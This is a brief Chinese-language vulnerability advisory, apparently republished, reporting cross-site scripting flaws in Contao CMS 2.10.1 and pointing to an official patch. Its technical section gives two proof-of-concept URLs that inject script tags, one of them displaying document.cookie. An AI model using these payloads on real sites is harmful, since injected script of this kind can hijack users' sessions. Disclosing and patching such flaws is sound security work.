作者: Stefan Schurtz www.2cto.com

影响程序: Successfully tested on Contao 2.10.1

开发者网站: http://www.contao.org/

官方补丁: fixed

 

概述

==========================

 

Contao 2.10 含多个css缺陷

 

==================

技术分析

==================

 

http://www.2cto.com /contao-2.10.1/index.php/teachers.html?"/><script>alert('

xss')</script>

http://www.2cto.com /contao-2.10.1/index.php/teachers/'"</style></script><scr

ipt>alert(document.cookie)</script>

 

=========

解决方案:

=========

 

- 官方补丁- http://dev.contao.org/projects/typolight/repository/revisions/1041

- Release of a new version 2.10.2 next week